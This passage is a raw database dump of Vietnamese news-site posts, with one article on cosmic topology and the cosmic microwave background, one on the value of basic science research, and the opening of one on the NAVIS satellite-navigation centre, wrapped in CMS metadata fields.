dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn 